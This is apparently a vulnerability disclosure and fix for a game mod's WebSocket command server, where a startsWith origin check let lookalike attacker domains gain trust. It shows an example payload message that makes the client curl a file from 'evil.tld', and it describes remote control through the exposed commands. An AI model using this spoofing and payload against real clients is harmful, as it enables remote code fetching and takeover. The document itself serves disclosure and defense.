- Impact: Remote command execution via the in-game WebSocket command server from a malicious website.
- Root cause: Origin validation used
startsWith, so any origin prefixed with an allowed domain (e.g.,https://ui-utils.com.attacker.tld) was treated as trusted. Browsers enforceOrigin, so a hostile page could supply that value and get authorized. - Fix: Require exact origin equality (
origin::equals) in both WebSocket entry points. This blocks prefix-based spoofing while keeping the allowlist intact.
- The WebSocket command server authorizes a connection solely by comparing the request
Originheader against an allowlist. Before the fix it accepted any origin that started with an allowed value.The same pattern existed in the p.IIC discovery server:// vulnerable (before) if (ALLOWED_ORIGINS.stream().anyMatch(origin::startsWith)) { // mark as authorized }
if (allowedOrigins.stream().anyMatch(origin::startsWith)) { /* authorized */ }
- An attacker hosts a page at
https://ui-utils.com.attacker.tld(or any prefix/port/path likehttps://mrbreaknfix.com:4443). Browsers automatically sendOrigin: https://ui-utils.com.attacker.tldwith the WebSocket upgrade. - Because
origin.startsWith("https://ui-utils.com")returns true, the server marks the connection as authorized and sends a welcome message. - Once authorized, the page can invoke any registered command over WebSocket:
The
{"cmd": "curl https://evil.tld/payload"}curlcommand is exposed viaCommandSystem.registerCommand("curl", new CurlCommand());, so the attacker can make the client fetch and process arbitrary payloads. Other commands (screen, click, inventory, etc.) are also reachable, enabling broad remote control.
- Both WebSocket servers now require an exact match, eliminating prefix-based spoofing:
And in the p.IIC server:
// fixed if (ALLOWED_ORIGINS.stream().anyMatch(origin::equals)) { // authorized }
if (allowedOrigins.stream().anyMatch(origin::equals)) { /* authorized */ }
- Dev mode still whitelists localhost variants explicitly; production remains restricted to the listed domains.
- Browsers enforce
Origin; sites cannot set it arbitrarily. - With
startsWith, any subdomain/port/path prefixed by a trusted domain bypassed checks. Withequals, the attacker must control the exact allowed origin, which is a fundamentally higher bar (requires compromise of the trusted domain itself, not just lookalike hosting).
- who the hell uses startswith in 2025
- use a built in auth token per session bro
- who the hell allows the whole curl command over websockets